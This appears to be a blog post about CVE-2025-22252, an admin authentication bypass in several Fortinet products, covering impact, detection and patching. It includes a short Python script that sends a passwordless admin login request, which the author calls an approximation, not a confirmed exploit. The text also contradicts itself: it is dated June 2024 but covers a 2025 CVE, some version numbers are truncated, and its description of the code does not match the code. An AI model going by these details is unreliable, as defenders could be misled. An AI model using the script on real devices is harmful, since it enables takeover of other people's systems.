Published: June 2024
Author: SecurityEasyReads

Introduction

A serious vulnerability, CVE-2025-22252, affects several Fortinet products, including FortiProxy (7.6.-7.6.1), FortiSwitchManager (7.2.5), and FortiOS (7.4.4-7.4.6, 7.6.). This bug allows an attacker who knows an admin account’s username to log in as that admin—without the correct password.

In this article, I’ll walk you through what’s going on, what products are vulnerable, how the exploit works, and what you can do to protect your network.

What Happened? (The Vulnerability)

The flaw is a missing authentication check on a critical function in the affected Fortinet products. If an attacker knows the username of an existing admin account, they can bypass password authentication and gain full admin access—no brute-forcing or social engineering required.

FortiOS: 7.4.4, 7.4.5, 7.4.6, 7.6.

> _Note: Older versions and other models are not affected. But it’s always wise to check the official advisory (link may be updated by Fortinet)._

How Bad Can It Get?

Critical. If someone gets your admin username (e.g., admin, fwadmin), they can become an admin on your firewall, proxy, or switch manager—even if your password is strong.

- Total Device Takeover: Full control. An attacker can change configurations, siphon data, or backdoor the system.
- Stealth: This doesn’t make failed login attempts, so it’s stealthier than guessing passwords.
- Bloodhound Attacks: The attacker could move laterally or sabotage your entire security perimeter.

Example: Simulating the Exploit

Note: This exploit uses simplified Python and http.client to demonstrate concept. Do NOT try this on hosts you don’t own!

import requests

target = 'https://fortigate-vulnerable.example.com';
admin_username = 'admin'  # The attacker knows this somehow

payload = {
    'username': admin_username,
    # Password omitted or blank due to missing check
}

r = requests.post(f"{target}/api/login", json=payload, verify=False)
if "success" in r.text:
    print("[+] Auth bypass successful! Admin access granted.")
else:
    print("[-] Access denied.")

Proof of Concept (PoC)

As of publication, public PoCs are limited. Reliable exploit code is under development in the security community, but the above example is a close approximation, based on general behavior described in the security advisory.

How to Detect Exploitation

- Check Admin Logs: Look for logins from unusual IP addresses, especially ones with no failed attempts leading up to a successful login.

Fortinet has released security updates. Patch all affected instances.

- FortiProxy: Download fixed version
- FortiSwitchManager: Download fixed version
- FortiOS: Download fixed version

References

- Fortinet CVE-2025-22252 Advisory (Official)
- NVD Page for CVE-2025-22252
- MITRE CVE Entry (TBD)
- FortiOS Download Portal

Final Thoughts

CVE-2025-22252 is a severe vulnerability—if you run Fortinet gear, patch immediately. While the exploit requires some knowledge (the admin username), this isn’t hard to guess or leak in many organizations. Take a few minutes today to double-check your FortiGate, FortiProxy, and SwitchManager versions, patch up, and change your admin usernames.

As always, restrict admin access and monitor your logs. Fortinet appliances are a high-value target—make sure yours are protected.

For more updates, check Fortinet’s PSIRT and stay safe!

Timeline

Published on: 05/28/2025 08:15:21 UTC
Last modified on: 06/04/2025 14:35:38 UTC